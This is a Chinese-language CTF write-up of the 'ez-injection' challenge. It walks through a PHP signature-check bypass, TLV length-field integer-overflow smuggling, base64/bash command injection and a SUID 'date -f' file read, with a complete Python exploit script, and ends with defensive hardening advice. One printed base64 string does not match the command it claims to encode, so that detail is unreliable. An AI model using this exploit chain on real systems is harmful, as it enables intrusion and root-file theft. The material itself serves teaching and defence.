分析对象 :ez-injection赛题
核心漏洞 :签名验证逻辑漏洞、二进制协议解析整数溢出、命令注入、SUID提权
攻击链路 :签名绕过→协议走私→命令注入→SUID提权→读取flag
报告目的:从漏洞挖掘、利用、提权到防御,全维度拆解赛题漏洞原理,提炼Web安全开发与防护的核心准则
一、Web访问控制层的逻辑漏洞------签名验证的彻底绕过
本次赛题的第一道防线是基于X-Signature请求头的签名验证机制,设计初衷是通过服务端秘钥校验请求合法性,防止恶意请求伪造。但因异常处理逻辑缺失 和PHP弱类型比较特性,该鉴权机制被完全绕过,成为整个攻击链路的突破口。
1.1 签名验证机制的设计逻辑
赛题中index.php实现了签名验证的核心逻辑,整体设计流程如下:
- 客户端请求必须携带
X-Signature请求头,否则直接返回403; - 服务端通过
checkSignature函数对该头部值进行Base64解码; - 解码后的结果需与服务端预定义的
$Secret_key完全一致,验证通过方可继续访问; - 若解码失败或结果不匹配,验证失败并拒绝请求。
核心验证代码如下:
php
$Secret_key = "xxxxx"; // 服务端随机秘钥
function checkSignature($signature)
{
try {
$decoded = base64_decode($signature, true);
if ($decoded === false) {
throw new Exception("Invalid base64 encoding");
}
global $Secret_key;
return $decoded === $Secret_key;
} catch (Exception $e) {
echo $e->getMessage() . PHP_EOL;
}
}
function verifySignature($headers)
{
if (!isset($headers['X-Signature'])) {
return false;
}
$validSignature = $headers['X-Signature'];
if (checkSignature($validSignature) === false) {
return false;
}
return true;
}
// 验证失败则返回403
if (!verifySignature(getallheaders())) {
http_response_code(403);
// 错误页面输出
exit;
}
从代码设计上看,该机制看似满足了鉴权的基本要求,但在异常处理和返回值校验的细节上存在致命缺陷。
1.2 异常处理的核心漏洞:无显式返回值导致隐式返回NULL
PHP中函数的返回值遵循显式定义为原则,隐式返回为补充 的规则:若函数未在所有分支中显式声明return,则执行完代码后会隐式返回NULL。这一特性在checkSignature函数的catch块中被放大为安全漏洞。
当攻击者向X-Signature传入非法Base64字符 (如@@@、@#1、%¥&等)时,base64_decode($signature, true)会因解码失败触发false,进而执行throw new Exception抛出异常,程序进入catch块。但catch块中仅执行了echo $e->getMessage(),没有任何显式的return语句 ,导致checkSignature函数执行完毕后隐式返回NULL。
与之形成对比的是,函数在正常执行分支中,要么返回$decoded === $Secret_key的布尔值(true/false),要么因解码失败抛出异常后返回NULL,这为后续的校验逻辑漏洞埋下了伏笔。
1.3 PHP弱类型严格比较的逻辑判定漏洞
签名验证的最终判定在verifySignature函数中实现:if (checkSignature($validSignature) === false) { return false; }。这里使用了PHP的严格比较运算符=== ,要求左右两侧的值类型和内容完全一致 才会返回true。
结合上文中的异常处理漏洞,此时会出现关键的逻辑判定场景:当checkSignature因解码失败返回NULL时,判定条件变为NULL === false。在PHP的严格比较规则中,NULL属于特殊的空类型,false属于布尔类型,二者类型不同,因此该判定结果为false。
这一结果直接导致if语句内的return false不会被执行,verifySignature函数继续向下执行,最终返回true,签名验证被成功绕过。
1.4 签名绕过的实操实现
签名绕过的实现无需复杂的payload构造,核心只需让X-Signature的值为非合法Base64编码字符即可,具体实操要点如下:
- 任意构造非Base64字符,如
@@@、123#456、@#1等,Base64的合法字符仅包含A-Za-z0-9+/=,超出该范围的字符均可触发解码异常; - 在请求头中添加
X-Signature: 构造的非法字符,发起GET/POST请求; - 服务端触发解码异常,
checkSignature返回NULL,验证判定不成立,最终鉴权通过。
示例绕过请求头(Burp Suite中构造):
http
GET / HTTP/1.1
Host: localhost:9999
X-Signature: @@@
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
发送该请求后,服务端会输出Invalid base64 encoding的异常信息,但不会返回403,而是直接展示赛题的功能选择页面,签名验证被彻底绕过。
1.5 签名验证漏洞的根源总结
本次签名验证的绕过并非因加密算法被破解、秘钥泄露等常规原因,而是源于开发人员对异常处理的忽视 和对PHP语言特性的不熟悉:
- 开发人员仅考虑了函数正常执行的分支,未对异常场景的返回值进行定义;
- 对严格比较的判定逻辑理解不透彻,未考虑到
NULL === false的判定结果; - 验证函数的逻辑设计存在缺陷,将"验证失败"和"验证异常"混为一谈,未做区分处理。
二、二进制协议解析层的走私艺术------整数溢出引发的协议伪造
签名绕过之后,赛题的第二道防线是基于自定义TLV二进制协议 的请求解析机制,服务端通过该协议实现index.php和execute.php之间的内部通信,并对客户端传入的参数进行格式校验。但因协议解析时未做长度边界检查 ,且利用pack/unpack处理的16位整数存在溢出特性 ,攻击者可通过构造超长请求体实现协议走私,伪造合法的协议包执行恶意命令。
2.1 自定义TLV协议的核心设计与解析逻辑
赛题中index.php会根据客户端选择的功能,将请求参数封装为自定义的二进制协议包,通过curl发送至execute.php;execute.php则对该协议包进行解析,根据协议类型执行对应的命令。该协议属于典型的TLV (Type-Length-Value) 模型,核心结构为1字节Type + 2字节Length + N字节Value,各字段定义如下:
| 字段 | 长度 | 格式/解析方式 | 功能说明 |
|---|---|---|---|
| Type | 1字节 | 纯字符(A/B) | 协议类型:A为直接执行命令,B为日期解析命令 |
| Length | 2字节 | 大端序(网络字节序) | Value字段的长度,通过pack('n', len)打包,unpack('n', str)解析 |
| Value | N字节 | 字符串 | 协议载荷,Type为A时为系统命令,Type为B时为日期字符串(YYYY-MM-DD格式) |
2.1.1 协议包的封装逻辑(index.php)
客户端通过POST提交function字段选择功能,index.php根据不同功能封装对应的协议包,核心逻辑如下:
- 功能A(获取系统时间):固定封装Type为A,Value为
date的协议包,无客户端可控参数; - 功能B(解析指定日期):封装Type为B,Value为客户端传入的
date参数的协议包,前端有正则校验date为YYYY-MM-DD格式; - 功能C(解析指定日期所在周):循环封装7个Type为B的协议包,Value为该周的7个日期,无可控注入点。
核心封装代码:
php
if ($function === 'A') {
$command = 'date';
$data = bin2hex('A' . pack('n', strlen($command)) . $command);
} elseif ($function === 'B') {
$date = $_POST['date'] ?? '';
$command = $date;
$data = bin2hex('B' . pack('n', strlen($command)) . $command);
}
// 最终将16进制的协议包转为二进制,通过curl发送至execute.php
curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
其中pack('n', strlen($command))是核心:n表示将整数按大端序、2字节无符号短整型 打包,这意味着Length字段的取值范围被限制为0~65535(2^16-1),为整数溢出埋下伏笔。
2.1.2 协议包的解析逻辑(execute.php)
execute.php是协议解析和命令执行的核心,首先校验请求来源为index.php,随后对二进制协议包进行循环解析,核心逻辑如下:
- 读取请求体的二进制数据,若长度小于3则判定为无效请求(1字节Type+2字节Length=3字节);
- 从偏移量
$offset开始,依次解析Type、Length、Value字段; - 校验Type仅能为A或B,否则判定为协议格式错误;
- 若Type为B,校验Value为合法的YYYY-MM-DD日期格式,随后拼接命令
date -d Value执行; - 若Type为A,直接执行Value对应的命令,无任何额外校验;
- 偏移量更新为
$offset += 3 + $Length,继续解析后续协议包,直到解析完所有数据。
核心解析与执行代码:
php
$input = file_get_contents('php://input');
$offset = 0;
while ($offset + 3 <= strlen($input)) {
$type = $input[$offset];
$length = unpack('n', substr($input, $offset + 1, 2))[1];
$command = substr($input, $offset + 3, $length);
$offset += 3 + $length;
if ($type != "B" && $type != "A") {
die("错误的协议格式");
}
if ($type === "B") {
$date = $command;
if (!isValidDate($date)) {
die("日期格式错误");
}
$command = "date -d " . $date;
}
ob_start();
system($command); // 核心命令执行函数
$result = ob_get_clean();
echo "<div class='block'><pre>" . htmlspecialchars($result) . "</pre></div>";
}
2.2 16位无符号整数的溢出特性
本次协议走私的核心原理是2字节无符号短整型的整数溢出 ,其根源在于pack('n', len)和unpack('n', str)对Length字段的处理方式:
pack('n', len)将客户端传入的$command长度转换为2字节无符号短整型,若长度超过65535,会发生整数截断,仅保留低16位的数值;unpack('n', str)将2字节的二进制数据解析为整数,解析结果的最大值始终为65535,若原始长度超过该值,解析结果为原始长度 % 65536。
简单来说,当客户端传入的$command长度为65536 时,pack('n', 65536)会因整数溢出打包为0000 (十六进制),unpack解析后得到的Length字段值为0 ;当长度为65537时,打包后为0001,解析后Length为1,以此类推。
这一特性使得攻击者可以通过构造超长的date参数,让第一个协议包的Length字段解析为0,进而让服务端的偏移量$offset仅更新3+0=3,后续构造的恶意协议包会被当作新的协议包进行解析。
2.3 协议走私的核心原理:利用溢出伪造Type A协议包
赛题中Type B协议包有严格的日期格式校验,无法直接注入恶意命令;而Type A协议包无任何校验,可直接执行Value字段的命令,因此伪造Type A协议包是命令注入的核心目标。结合整数溢出特性,协议走私的核心思路如下:
- 选择功能B作为入口,构造合法的日期字符串(如2012-12-11)作为第一个协议包的Value,保证第一个协议包的Type为B且初始格式合法;
- 在合法日期后拼接伪造的Type A协议包(Type=A+Length=恶意命令长度+Value=恶意命令);
- 计算填充字符的长度,将整个
date参数的总长度填充至65536,触发Length字段的整数溢出,使第一个协议包的Length解析为0; execute.php解析第一个协议包时,Length=0,因此Value为空,偏移量仅更新3,后续拼接的Type A协议包被当作新的协议包解析;- 新解析的协议包Type为A,服务端直接执行其中的恶意命令,实现命令注入。
2.4 协议走私的关键细节:偏移量与数据对齐
协议走私的成功与否,核心在于偏移量的精准控制 和恶意协议包的数据对齐,需注意以下关键细节:
- 第一个协议包的Type为B,由功能B固定封装,无需攻击者构造;
- 填充后的总长度必须严格为65536,确保Length字段溢出为0,若长度偏差会导致偏移量计算错误,恶意协议包无法被正确解析;
- 恶意协议包必须紧跟在合法日期后,且无多余的分隔符,保证二进制数据的连续性;
- 恶意协议包的Length字段需正确打包为恶意命令的实际长度,确保Value字段被完整解析。
例如,当攻击者构造date=2012-12-11A[Length][whoami]并填充至65536字节时,第一个协议包的Length被解析为0,服务端解析完第一个包后,偏移量指向A的位置,随后将A解析为Type,[Length]解析为Length,whoami解析为Value,最终直接执行whoami命令。
三、 命令执行的构造与利用------字符避障与请求体拼接
协议走私的核心是伪造Type A协议包执行恶意命令,而在实际构造过程中,还需要解决特殊字符解析 和请求体拼接 的问题:一方面,POST请求中的特殊字符(如&、|、空格)会干扰请求的解析;另一方面,需要将恶意协议包、合法日期、填充字符精准拼接为符合要求的请求体。本章节将详细讲解命令执行的payload构造、字符避障技巧和请求体的拼接逻辑。
3.1 命令执行的限制条件
在构造恶意命令前,需明确赛题中命令执行的限制条件,避免因payload构造不当导致注入失败:
- 恶意命令需通过Type A协议包的Value字段传入,最终由
system()函数执行,支持Linux系统的所有命令; - POST请求体的格式为
application/x-www-form-urlencoded,因此payload中的&、=、+等字符会被URL解析器处理,需做避障处理; system()函数的执行结果通过ob_get_clean()捕获,该函数仅捕获标准输出流(stdout),标准错误流(stderr)的内容不会被输出,需做重定向处理;- 恶意协议包的二进制数据需转为原始字节流,不可做URL编码,否则会被服务端解析为无效的协议数据。
3.2 字符避障的核心技巧:Base64编码+Bash大括号扩展
为解决POST请求中特殊字符的解析问题,本次赛题采用Base64编码 结合Bash大括号扩展的方式构造payload,既避免了特殊字符的干扰,又实现了恶意命令的执行,核心原理如下:
- 将恶意命令进行Base64编码,转换为无特殊字符的字母数字组合,避免
&、|、空格等字符被URL解析器处理; - 利用Bash的大括号扩展特性,构造
bash -c '{echo,编码后的命令}|{base64,-d}|{bash,-i}',通过管道符实现编码命令的解码和执行; - 大括号扩展的格式无需使用空格,可有效规避空格被转义的问题,同时
{}是Bash的合法字符,不会被服务端过滤。
3.2.1 Base64编码的注意事项
- 编码的对象是原始恶意命令的字节流 ,需保证编码后的结果无填充符
=(或保留填充符,不影响解析); - 服务端的Linux系统默认支持
base64 -d解码,无需额外安装工具; - 编码后的命令需与
echo组合,通过标准输出传递给解码命令,实现无缝衔接。
例如,要执行ls -al /命令,首先进行Base64编码:
bash
echo -n "ls -al /" | base64
# 编码结果:bHMgLWFsIC8=
随后构造Bash命令:
bash
bash -c '{echo,bHMgLWFsIC8=}|{base64,-d}|{bash,-i}'
该命令执行时,首先通过echo输出编码后的字符串,随后通过base64 -d解码为原始命令,最后通过bash -i执行解码后的命令,实现无特殊字符的命令执行。
3.2.2 大括号扩展的优势
Bash的大括号扩展{cmd1,cmd2}等价于cmd1 cmd2,无需使用空格,这一特性完美解决了POST请求中空格被转义的问题。同时,大括号扩展属于Bash的内部语法,无需依赖外部工具,兼容性极强。
3.3 恶意Type A协议包的构造
结合TLV协议格式和字符避障技巧,恶意Type A协议包的构造步骤如下:
- 确定待执行的恶意命令,如
find / -perm -u=s -type f 2>/dev/null(查找SUID提权文件); - 对恶意命令进行Base64编码,得到编码后的字符串;
- 构造Bash执行命令,将编码后的字符串融入其中;
- 按TLV格式封装Type A协议包:Type为
A(1字节),Length为Bash命令的长度(2字节大端序),Value为Bash命令; - 将封装后的二进制协议包转为十六进制,方便后续拼接请求体。
以Python代码为例,恶意协议包的构造函数如下:
python
import struct
import base64
def build_packet(command: str) -> str:
# 对原始命令进行Base64编码
encoded_cmd = base64.b64encode(command.encode()).decode()
# 构造Bash执行命令,避免特殊字符
bash_cmd = f"bash -c '{{echo,{encoded_cmd}}}|{{base64,-d}}|{{bash,-i}}'"
# 封装Type A协议包:1字节Type + 2字节大端序Length + N字节Value
type_a = b"A"
length = struct.pack(">H", len(bash_cmd)) # >H表示大端序、2字节无符号短整型
value = bash_cmd.encode()
full_packet = type_a + length + value
# 转为十六进制字符串,方便拼接
return full_packet.hex()
# 测试:构造执行ls -al /的协议包
hex_packet = build_packet("ls -al /")
print(hex_packet)
3.4 最终请求体的拼接逻辑
请求体的核心格式为function=B&date=合法日期+恶意协议包+填充字符,需严格按照以下步骤拼接,确保总长度触发整数溢出:
- 固定前缀:
function=B&date=,为功能B的POST请求固定参数,不可修改; - 合法日期:选择一个符合YYYY-MM-DD格式的字符串,如
2012-12-11,作为第一个协议包的初始Value; - 恶意协议包:将上述构造的十六进制恶意Type A协议包转为二进制字节流,拼接在合法日期后;
- 填充字符:使用无意义的字符(如
A)填充,使整个date参数的总长度达到65536,触发Length字段的整数溢出; - 最终请求体:固定前缀 + 合法日期 + 恶意协议包二进制 + 填充字符,总长度需精准计算,确保无偏差。
拼接的核心公式:
填充字符长度 = 65536 - (len(合法日期) + len(恶意协议包二进制))
最终date参数 = 合法日期 + 恶意协议包二进制 + b'A' * 填充字符长度
请求体 = b'function=B&date=' + 最终date参数
例如,合法日期2012-12-11的长度为10,恶意协议包二进制长度为100,则填充字符长度为65536-10-100=65426,需拼接65426个A字符,确保date参数总长度为65536。
四、SUID提权与flag读取------从普通命令执行到获取root权限文件
通过协议走私实现命令注入后,攻击者可执行普通的Linux命令,但此时发现直接读取flag文件无权限 (cat /flag.txt返回Permission denied)。赛题中flag.txt为root权限文件,普通用户无法直接读取,因此需要通过SUID提权的方式,利用系统中拥有SUID权限的二进制文件,以root身份读取flag文件。
4.1 SUID权限机制的核心原理
SUID(Set User ID)是Linux系统中的一种特殊文件权限,当一个二进制文件被设置SUID权限后,普通用户执行该文件时,进程会以文件所有者的身份运行 ,而非执行该文件的用户身份。这一机制的设计初衷是为了让普通用户执行某些需要高权限的操作(如passwd修改密码),但如果被恶意利用,会成为提权的重要途径。
4.1.1 SUID权限的识别
在Linux系统中,可通过ls -l查看文件的SUID权限,若文件权限的所有者执行位为s,则表示该文件拥有SUID权限,例如:
bash
ls -l /usr/bin/passwd
# 输出:-rwsr-xr-x 1 root root 47032 2月 17 2023 /usr/bin/passwd
其中-rwsr-xr-x中的s即为SUID权限,该文件的所有者为root,因此普通用户执行passwd时,进程会以root身份运行。
4.1.2 查找系统中的SUID文件
赛题中通过执行以下命令查找系统中所有拥有SUID权限的文件,筛选可用于提权的二进制文件:
bash
find / -perm -u=s -type f 2>/dev/null
命令参数说明:
/:从根目录开始查找;-perm -u=s:筛选拥有SUID权限的文件;-type f:仅筛选普通文件,排除目录;2>/dev/null:将错误输出重定向到空设备,避免无权限访问的目录输出错误信息。
执行该命令后,赛题中发现/bin/date文件拥有SUID权限,这成为本次提权的核心突破口。
4.2 date命令的SUID提权原理
date是Linux系统中用于查看和修改系统时间的命令,通常情况下无SUID权限,但赛题中为/bin/date设置了SUID权限,使其以root身份运行。该命令的**-f参数成为提权的核心,其功能为从文件中读取日期字符串并解析**,核心原理如下:
date -f filename会读取filename中的每一行内容,尝试将其解析为日期格式;- 若文件中的内容不是合法的日期格式,
date会输出错误信息,并将文件中的内容包含在错误信息中; - 由于
date拥有SUID权限,以root身份运行,因此可以读取root权限的文件 (如/flag.txt); - 错误信息会输出到标准错误流(stderr) ,通过重定向
2>&1将stderr重定向到stdout,即可捕获包含flag的错误信息。
简单来说,当执行date -f /flag.txt时,date会尝试解析/flag.txt中的内容为日期,因flag字符串不是合法日期,会输出如下错误信息:
bash
date: invalid date 'MOCSCTF{InjEc7_1t_t_the_Pr0TC01_L4yER}'
该错误信息中包含了/flag.txt的完整内容,即flag值,实现了root权限文件的读取。
4.3 flag读取的payload构造与执行
结合SUID提权原理和字符避障技巧,最终读取flag的payload构造步骤如下:
-
确定核心提权命令:
date -f /flag.txt 2>&1,其中2>&1将stderr重定向到stdout,确保结果能被ob_get_clean()捕获; -
对该命令进行Base64编码:
bashecho -n "date -f /flag.txt 2>&1" | base64 # 编码结果:ZGF0ZSAtZiAvZmxhZy50eHQgMj4+MQ== -
构造Bash执行命令:
bashbash -c '{echo,ZGF0ZSAtZiAvZmxhZy50eHQgMj4+MQ==}|{base64,-d}|{bash,-i}' -
按TLV格式封装为Type A协议包,拼接至合法日期后并填充至65536字节,构造最终请求体;
-
发送POST请求,服务端解析后执行该命令,返回包含flag的错误信息。
执行该payload后,服务端会输出如下结果:
Tue Dec 11 00:00:00 UTC 2012
date: invalid date 'MOCSCTF{InjEc7_1t_t_the_Pr0TC01_L4yER}'
其中第二行的错误信息即为flag值,成功实现root权限flag文件的读取。
五、自动化渗透脚本的实现与解析
手动构造请求体和协议包存在操作繁琐、易出错的问题,因此采用Python编写自动化渗透脚本,实现签名绕过、协议包构造、请求体拼接、命令执行、结果输出的全流程自动化。本章节将详细解析脚本的核心模块、实现逻辑和参数调整方法,确保脚本可直接运行并获取flag。
5.1 脚本的核心依赖库
本次脚本基于Python3编写,仅使用Python内置库 和requests第三方库,无需额外安装其他工具,核心依赖库如下:
| 库名 | 类型 | 核心功能 |
|---|---|---|
| http.client | 内置库 | 发起HTTP POST请求,模拟底层网络通信,兼容二进制请求体 |
| struct | 内置库 | 按大端序、2字节无符号短整型打包/解包数据,构造协议包的Length字段 |
| base64 | 内置库 | 对恶意命令进行Base64编码,实现字符避障 |
| requests | 第三方库 | 发起HTTP POST请求,简化请求编写,自动处理响应解析,作为备用请求方式 |
| io/gzip | 内置库 | 处理服务端的gzip压缩响应,解析压缩后的返回结果 |
其中requests库可通过pip install requests安装,其余均为Python3内置库,无需额外安装。
5.2 脚本的核心模块设计
自动化渗透脚本分为参数配置模块、协议包构造模块、请求体拼接模块、HTTP请求模块、结果解析模块五个核心模块,各模块相互独立且耦合性低,便于修改和扩展,整体流程如下:
参数配置 → 协议包构造 → 请求体拼接 → HTTP请求 → 结果解析
5.2.1 参数配置模块
该模块用于配置赛题的核心参数,包括目标服务器地址、签名绕过的X-Signature值、待执行的恶意命令等,所有参数均可根据实际环境灵活调整,核心代码:
python
# ========== 自定义参数(根据实际环境修改) ==========
# 签名绕过的X-Signature值,任意非合法Base64字符
x_signature = "@@@"
# 目标服务器地址(http.client无需协议头,requests需要)
target_url_httpclient = "localhost:9999"
target_url_requests = "http://localhost:9999/"
# 待执行的恶意命令,核心提权读取flag
command2execute = "date -f /flag.txt 2>&1"
5.2.2 协议包构造模块
该模块实现恶意Type A协议包的构造,核心功能包括恶意命令Base64编码、Bash命令构造、TLV协议包封装、十六进制转换,核心代码:
python
def build_packet(command: str) -> str:
"""
按TLV格式构造Type A恶意协议包
:param command: 待执行的原始恶意命令
:return: 协议包的十六进制字符串
"""
# 1. 对原始命令进行Base64编码,避免特殊字符
encoded_cmd = base64.b64encode(command.encode()).decode()
# 2. 构造Bash执行命令,使用大括号扩展避免空格
bash_cmd = f"bash -c '{{echo,{encoded_cmd}}}|{{base64,-d}}|{{bash,-i}}'"
# 3. 封装TLV协议包:1字节Type(A) + 2字节大端序Length + N字节Value(bash_cmd)
type_a = b"A" # Type字段
length = struct.pack(">H", len(bash_cmd)) # Length字段,>H表示大端序、2字节无符号短整型
value = bash_cmd.encode() # Value字段
full_packet = type_a + length + value
# 4. 转为十六进制字符串,方便后续拼接请求体
return full_packet.hex()
# 调用函数构造恶意协议包
hex_command = build_packet(command2execute)
hex_part = bytes.fromhex(hex_command) # 转回二进制字节流
5.2.3 请求体拼接模块
该模块实现最终POST请求体的拼接,核心功能包括固定前缀拼接、合法日期拼接、恶意协议包拼接、填充字符计算、总长度校验 ,确保date参数总长度为65536,触发整数溢出,核心代码:
python
# 1. POST请求固定前缀,功能B的参数格式
prefix = b"function=B&date=2012-12-11"
# 2. 计算填充字符长度,确保date参数总长度为65536
# date参数 = 2012-12-11 + 恶意协议包二进制 + 填充字符
date_base = b"2012-12-11"
filler_len = 65536 - len(date_base) - len(hex_part)
# 3. 构造date参数:合法日期 + 恶意协议包 + 填充字符(A)
date_param = date_base + hex_part + b"A" * filler_len
# 4. 构造最终请求体
body = prefix + date_param
5.2.4 HTTP请求模块
该模块实现HTTP POST请求的发送,提供http.client 和requests 两种请求方式,兼容不同的运行环境,核心功能包括请求头构造、二进制请求体发送、响应状态码获取,核心代码:
python
# 构造请求头,包含签名绕过、请求体格式、长度等核心字段
headers = {
"Host": target_url_httpclient,
"X-Signature": x_signature, # 签名绕过核心字段
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded", # 表单格式
"Content-Length": str(len(body)), # 请求体长度,必须与实际一致
"Connection": "close"
}
# 方式1:使用http.client发起请求(底层实现,兼容二进制)
conn = http.client.HTTPConnection(target_url_httpclient)
conn.request("POST", "/", body=body, headers=headers)
res = conn.getresponse()
print("=== http.client 响应结果 ===")
print(f"状态码: {res.status}")
raw_data = res.read()
# 方式2:使用requests发起请求(简化版,备用)
try:
print("\n=== requests 响应结果 ===")
res = requests.post(target_url_requests, data=body, headers=headers, timeout=10)
print(f"状态码: {res.status_code}")
print("响应内容:")
print(res.text)
except Exception as e:
print(f"requests请求失败: {e}")
5.2.5 结果解析模块
该模块实现服务端响应结果的解析,核心功能包括gzip压缩响应解压、二进制数据转字符串、flag提取,确保能正确解析包含flag的错误信息,核心代码:
python
# 解析响应结果,处理gzip压缩
try:
import gzip
import io
with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
decompressed_data = f.read()
result = decompressed_data.decode("utf-8", errors="ignore")
print("解压后的响应内容:")
print(result)
# 提取flag(根据flag格式匹配)
import re
flag_pattern = re.compile(r'MOCSCTF\{.*?\}')
flag = flag_pattern.findall(result)
if flag:
print(f"\n提取到flag: {flag[0]}")
else:
print("\n未提取到flag,请检查命令是否正确")
except Exception as e:
# 非gzip压缩,直接解码
result = raw_data.decode("utf-8", errors="ignore")
print("响应内容:")
print(result)
5.3 脚本的运行与参数调整
5.3.1 脚本的运行步骤
- 将脚本保存为
ez_injection_exp.py; - 根据赛题的实际环境,修改参数配置模块 中的目标服务器地址、
x_signature值; - 安装requests库(若使用):
pip install requests; - 运行脚本:
python3 ez_injection_exp.py; - 脚本自动执行所有步骤,最终输出并提取flag值。
5.3.2 常见参数调整场景
- 目标服务器地址变更:修改
target_url_httpclient和target_url_requests为实际的IP+端口; - 签名绕过字符失效:将
x_signature改为其他非合法Base64字符,如123#456、@#1; - 需执行其他命令:修改
command2execute为目标命令,如find / -perm -u=s -type f 2>/dev/null、whoami; - 填充字符失效:将填充字符从
A改为其他任意字符,如B、0,不影响溢出效果。
5.4 脚本的优化与扩展
为提升脚本的通用性和稳定性,可进行以下优化和扩展:
- 添加命令行参数解析 :使用
argparse库将目标地址、恶意命令等参数改为命令行传入,无需修改脚本内部; - 增加错误处理:对协议包构造、请求体拼接、请求发送等步骤添加异常处理,避免脚本因单次错误终止;
- 支持多种编码方式:除Base64外,添加URLEncode、Hex编码等方式,适配不同的特殊字符场景;
- 自动查找SUID文件 :脚本中添加自动执行
find / -perm -u=s -type f 2>/dev/null的逻辑,自动筛选提权文件; - 多线程/多进程:支持同时发送多个请求,提升渗透效率(赛题中无需此功能)。
六、 漏洞根源分析与防御加固
本次ez-injection赛题的漏洞链从签名验证绕开到最终的flag读取,涉及代码逻辑、协议设计、系统权限 三个层面的问题,每一个漏洞的产生都源于开发人员的细节疏忽,而非复杂的技术漏洞。本章节将从漏洞根源 和防御加固两个角度,提炼Web安全开发和系统运维的核心准则,避免类似漏洞的出现。
6.1 漏洞根源的全方位分析
本次赛题的漏洞链并非单一漏洞导致,而是多个层面的漏洞相互叠加的结果,各环节的漏洞根源如下:
- 签名验证漏洞 :开发人员对PHP的异常处理和返回值机制理解不透彻,未在
catch块中显式返回false,同时对严格比较的逻辑判定考虑不周全,导致NULL === false的判定结果被忽视; - 协议解析漏洞 :协议设计时未做长度边界检查,未考虑到2字节无符号整数的溢出特性,同时循环解析协议包时未校验偏移量是否超出请求体长度,导致恶意协议包被走私;
- 命令执行漏洞 :Type A协议包的设计存在缺陷,直接执行客户端可控的参数,无任何输入校验和过滤,同时使用
system()函数执行命令,存在天然的命令注入风险; - 系统权限漏洞 :为
/bin/date等非必要的二进制文件设置SUID权限,违背了最小权限原则,导致普通用户可通过该命令读取root权限文件。
这些漏洞的核心共同点是开发人员的安全意识不足,在代码编写和系统配置时,仅考虑了正常的业务逻辑,而忽视了异常场景和恶意攻击的可能性。
6.2 代码层的防御加固:安全编码准则
代码层是Web安全的第一道防线,针对本次赛题的漏洞,需遵循以下PHP安全编码准则,从源头避免漏洞的产生:
-
异常处理必须显式定义返回值 :在try-catch块中,无论是否触发异常,都需显式声明返回值,避免函数隐式返回
NULL。例如,签名验证的checkSignature函数应修改为:phpfunction checkSignature($signature) { try { $decoded = base64_decode($signature, true); if ($decoded === false) { throw new Exception("Invalid base64 encoding"); } global $Secret_key; return $decoded === $Secret_key; } catch (Exception $e) { echo $e->getMessage() . PHP_EOL; return false; // 显式返回false,避免隐式返回NULL } } -
所有外部可控参数必须做校验 :无论是GET/POST参数,还是协议包中的Value字段,都需做严格的输入校验,包括格式校验、长度校验、内容校验。例如,Type A协议包的Value字段应做白名单校验,仅允许执行预设的命令;
-
避免使用危险的命令执行函数 :尽量避免使用
system()、exec()、passthru()等危险的命令执行函数,若必须使用,需对执行的命令做白名单过滤 ,并使用escapeshellarg()对参数进行转义; -
严格校验函数的返回值 :对
pack()、unpack()、base64_decode()等函数的返回值做严格校验,确保返回值符合预期,避免因返回值异常导致的逻辑错误; -
遵循最小权限原则:PHP运行的web用户(如www-data)应配置最小权限,避免拥有执行系统命令、读取敏感文件的权限。
6.3 协议层的防御加固:安全协议设计准则
自定义二进制协议是内部通信的常用方式,针对本次赛题的协议走私漏洞,需遵循以下安全协议设计准则:
- 协议包添加校验字段 :在TLV协议包中添加校验和/哈希字段,服务端解析时校验协议包的完整性,防止协议包被篡改或伪造;
- 对Length字段做边界检查 :解析Length字段后,需校验
$offset + 3 + $Length是否超出请求体的总长度,若超出则直接判定为无效协议包,避免偏移量越界; - 限制协议包的最大长度:在协议设计时,限制单个协议包和整体请求体的最大长度,避免超长请求体导致的整数溢出;
- 统一协议包的类型和格式:减少无需校验的协议类型(如本次的Type A),所有协议类型都需做严格的参数校验,避免出现"免校验"的协议类型;
- 使用成熟的协议框架:尽量避免自定义二进制协议,优先使用HTTP/HTTPS、Protobuf、Thrift等成熟的协议框架,这些框架已做了完善的安全校验,避免手动设计的漏洞。
6.4 系统层的防御加固:Linux权限配置准则
系统层的SUID权限配置是本次提权的关键,针对Linux系统的权限配置,需遵循以下最小权限原则:
- 严格控制SUID权限的分配 :仅为必要的二进制文件(如
passwd、su)设置SUID权限,禁止为date、ls、cat等普通命令设置SUID权限; - 定期审计SUID文件 :通过
find / -perm -u=s -type f 2>/dev/null定期审计系统中的SUID文件,及时移除非必要的SUID权限; - 限制敏感文件的权限 :root权限的敏感文件(如flag文件、配置文件)应设置严格的权限,如
chmod 600 /flag.txt,仅允许root用户读取和修改; - 使用容器/沙箱隔离:将Web服务运行在容器或沙箱中,隔离容器内和宿主机的文件系统,即使容器内出现提权漏洞,也无法访问宿主机的敏感文件;
- 禁止普通用户执行系统命令:通过sudoers配置或SELinux/AppArmor,限制web用户执行系统命令的权限,避免命令注入导致的系统被控制。
6.5 运维层的防御加固:Web安全运维准则
除了代码和系统层的加固,运维层的安全配置也能有效降低漏洞被利用的风险,核心准则如下:
- 开启Web应用防火墙(WAF):部署WAF对请求进行过滤,拦截包含恶意字符、超长请求体、异常请求头的请求;
- 开启日志审计:对Web服务的访问日志、命令执行日志进行全量记录,及时发现异常的访问和命令执行行为;
- 定期漏洞扫描:使用AWVS、Nessus等漏洞扫描工具,定期对Web服务和系统进行漏洞扫描,及时发现并修复漏洞;
- 及时更新系统和软件:定期更新Linux系统和PHP、Nginx/Apache等软件的版本,修复已知的安全漏洞;
- 做渗透测试:在业务上线前,进行专业的渗透测试,模拟攻击者的行为,发现并修复潜在的安全漏洞。
七、结语
ez-injection赛题是一道典型的多漏洞叠加的Web安全综合题 ,其漏洞链从签名验证的逻辑漏洞开始,到协议解析的整数溢出,再到命令注入和SUID提权,最终实现root权限flag文件的读取。整个攻击链路无需复杂的加密破解或0day漏洞,所有漏洞均源于开发人员和运维人员的细节疏忽 和安全意识不足。
